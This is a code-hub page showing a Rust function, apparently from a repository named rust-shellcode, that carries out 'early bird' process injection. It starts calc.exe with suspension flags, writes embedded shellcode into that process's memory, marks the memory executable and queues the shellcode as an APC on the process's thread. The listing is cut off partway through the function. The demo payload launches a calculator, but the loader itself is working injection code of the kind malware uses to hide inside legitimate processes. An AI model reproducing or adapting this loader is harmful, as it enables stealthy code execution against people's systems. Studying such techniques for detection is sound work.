MCPcopy Create free account
hub / github.com/b1nhack/rust-shellcode / main

Function main

early_bird/src/main.rs:14–89  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

12
13#[cfg(target_os = "windows")]
14fn main() {
15 let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin");
16 let shellcode_size = shellcode.len();
17 let program = b"C:\\Windows\\System32\\calc.exe\0";
18
19 unsafe {
20 let mut pi: PROCESS_INFORMATION = zeroed();
21 let mut si: STARTUPINFOA = zeroed();
22 si.dwFlags = STARTF_USESTDHANDLES | CREATE_SUSPENDED;
23 si.wShowWindow = 0;
24
25 let res = CreateProcessA(
26 program.as_ptr(),
27 null_mut(),
28 null(),
29 null(),
30 TRUE,
31 CREATE_NO_WINDOW,
32 null(),
33 null(),
34 &si,
35 &mut pi,
36 );
37 if res == FALSE {
38 panic!("[-]CreateProcessA failed: {}!", GetLastError());
39 }
40
41 let addr = VirtualAllocEx(
42 pi.hProcess,
43 null(),
44 shellcode_size,
45 MEM_COMMIT | MEM_RESERVE,
46 PAGE_READWRITE,
47 );
48 if addr.is_null() {
49 panic!("[-]VirtualAllocEx failed: {}!", GetLastError());
50 }
51
52 let res = WriteProcessMemory(
53 pi.hProcess,
54 addr,
55 shellcode.as_ptr().cast(),
56 shellcode_size,
57 null_mut(),
58 );
59 if res == FALSE {
60 panic!("[-]WriteProcessMemory failed: {}!", GetLastError());
61 }
62
63 let mut old = PAGE_READWRITE;
64 let res = VirtualProtectEx(pi.hProcess, addr, shellcode_size, PAGE_EXECUTE, &mut old);
65 if res == FALSE {
66 panic!("[-]VirtualProtectEx failed: {}!", GetLastError());
67 }
68
69 let func = transmute(addr);
70 let res = QueueUserAPC(Some(func), pi.hThread, 0);
71 if res == 0 {

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected